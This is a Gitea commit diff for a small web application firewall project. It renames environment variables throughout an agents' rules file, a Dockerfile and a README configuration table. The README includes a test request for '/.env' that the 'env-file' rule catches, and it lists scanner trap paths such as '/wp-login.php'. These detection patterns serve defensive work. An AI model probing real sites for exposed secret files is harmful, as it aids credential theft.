Compare commits
1
Commits
next
..
7f8a59de04
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7f8a59de04 |
No files matched your search
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
|
|||||||
- Secrets belong in POST data. An app that puts a secret in a query string
|
- Secrets belong in POST data. An app that puts a secret in a query string
|
||||||
is fixed in the app.
|
is fixed in the app.
|
||||||
- Never propose redacting a query string, Gitea's `?token=` included.
|
- Never propose redacting a query string, Gitea's `?token=` included.
|
||||||
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
|
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||||
- The set is:
|
- The set is:
|
||||||
- `10.0.0.0/8`;
|
- `10.0.0.0/8`;
|
||||||
- `172.16.0.0/12`;
|
- `172.16.0.0/12`;
|
||||||
|
|||||||
+3
-3
@@ -221,12 +221,12 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. At each start of waf, the run
|
# is mounted to keep them across deploys. At each start of waf, the run
|
||||||
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||||
# built FROM this image can copy rule files of its own beside it.
|
# built FROM this image can copy rule files of its own beside it.
|
||||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||||
|
|
||||||
|
|||||||
@@ -12,8 +12,7 @@ shipped in one image, with two commands that do this together:
|
|||||||
|
|
||||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||||
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
||||||
passes the app's answers back. It keeps nothing between requests and writes
|
passes the app's answers back. It keeps nothing and never touches disk.
|
||||||
nothing to disk.
|
|
||||||
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
||||||
each client's history. One `waf` serves many sites: a client banned through
|
each client's history. One `waf` serves many sites: a client banned through
|
||||||
one site is refused on all of them, and its requests on all of them count
|
one site is refused on all of them, and its requests on all of them count
|
||||||
@@ -91,9 +90,8 @@ accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
|||||||
The usual setup is three containers on one private network:
|
The usual setup is three containers on one private network:
|
||||||
|
|
||||||
- the app;
|
- the app;
|
||||||
- `rproxy`, in front of the app, which traefik routes to:
|
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||||
`SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the
|
names `waf` and `SWRP_UPSTREAM_URL` names the app;
|
||||||
app;
|
|
||||||
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
||||||
files.
|
files.
|
||||||
|
|
||||||
@@ -102,8 +100,8 @@ Point traefik's labels at port 8080 of `rproxy`
|
|||||||
of the app or of `waf`. Anything on that network can reach the app around
|
of the app or of `waf`. Anything on that network can reach the app around
|
||||||
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
||||||
Each further app adds its own container and its own `rproxy`, whose
|
Each further app adds its own container and its own `rproxy`, whose
|
||||||
`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example
|
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
|
||||||
below shows this shape.
|
shows this shape.
|
||||||
|
|
||||||
### `rproxy` in the app's container
|
### `rproxy` in the app's container
|
||||||
|
|
||||||
@@ -116,7 +114,7 @@ digest, and adds:
|
|||||||
- the packages the app needs, from the nixpkgs in the image;
|
- the packages the app needs, from the nixpkgs in the image;
|
||||||
- a user for the app;
|
- a user for the app;
|
||||||
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
||||||
of `SWW_RPROXY_UPSTREAM_URL`.
|
of `SWRP_UPSTREAM_URL`.
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
# The smallwebwaf image, pinned by digest.
|
# The smallwebwaf image, pinned by digest.
|
||||||
@@ -152,8 +150,8 @@ main "$@"
|
|||||||
|
|
||||||
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
||||||
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
||||||
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
|
||||||
an app, and the "`rproxy` beside the app" example below runs one.
|
app, and the "`rproxy` beside the app" example below runs one.
|
||||||
|
|
||||||
The app sees the headers traefik sent, with traefik's address added to
|
The app sees the headers traefik sent, with traefik's address added to
|
||||||
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
||||||
@@ -172,13 +170,12 @@ does.
|
|||||||
- A request to the site through traefik gets the app's answer.
|
- A request to the site through traefik gets the app's answer.
|
||||||
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
||||||
request have `"action":"forward"`.
|
request have `"action":"forward"`.
|
||||||
- To see a refusal without banning yourself, run `waf` with
|
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
|
||||||
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
|
and ask for `/.env`. The request reaches the app. `waf`'s log lines have
|
||||||
`waf`'s log lines have `"would_action":"temporarily_banned"` and
|
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
|
||||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
get in `enforce` mode is lifted as "Clients and bans" below describes.
|
||||||
"Clients and bans" below describes.
|
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||||
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
|
`waf`'s network:
|
||||||
on `waf`'s network:
|
|
||||||
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
||||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||||
the whole exchange (see "Entrypoints").
|
the whole exchange (see "Entrypoints").
|
||||||
@@ -186,17 +183,18 @@ does.
|
|||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
Every setting is an environment variable, read once at start; changing one means
|
Every setting is an environment variable, read once at start; changing one means
|
||||||
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
|
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
|
||||||
`waf` only the `SWW_WAF_` ones. Every setting but `SWW_RPROXY_WAF_BACKEND` has a
|
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
|
||||||
default, chosen for a service on the open internet. A setting that needs an
|
for a service on the open internet. A setting that needs an account, a key, a
|
||||||
account, a key, a token or an alert destination stays off until you give one.
|
token or an alert destination stays off until you give one.
|
||||||
|
|
||||||
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
|
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||||
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
|
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||||
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
|
contents are the value, less one newline at the end. Setting both forms stops
|
||||||
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
|
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
|
||||||
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
|
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
||||||
no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
|
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
|
||||||
|
one, since `rproxy` never touches disk.
|
||||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
||||||
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
||||||
1024: `512K`, `100M`, `5G`.
|
1024: `512K`, `100M`, `5G`.
|
||||||
@@ -212,9 +210,8 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
setting takes it.
|
setting takes it.
|
||||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||||
app's response bodies, the visitors' request bodies, or both, as
|
app's response bodies, the visitors' request bodies, or both, as
|
||||||
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
|
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
|
||||||
over a WebSocket counts as request bytes, and what the app sent as response
|
a WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||||
bytes.
|
|
||||||
- An invalid setting stops the process at start with one log line naming the
|
- An invalid setting stops the process at start with one log line naming the
|
||||||
variable and what is wrong with the value. The settings in effect are logged
|
variable and what is wrong with the value. The settings in effect are logged
|
||||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||||
@@ -222,124 +219,123 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||||
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||||
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||||
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. |
|
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||||
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||||
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||||
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||||
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||||
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
|
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
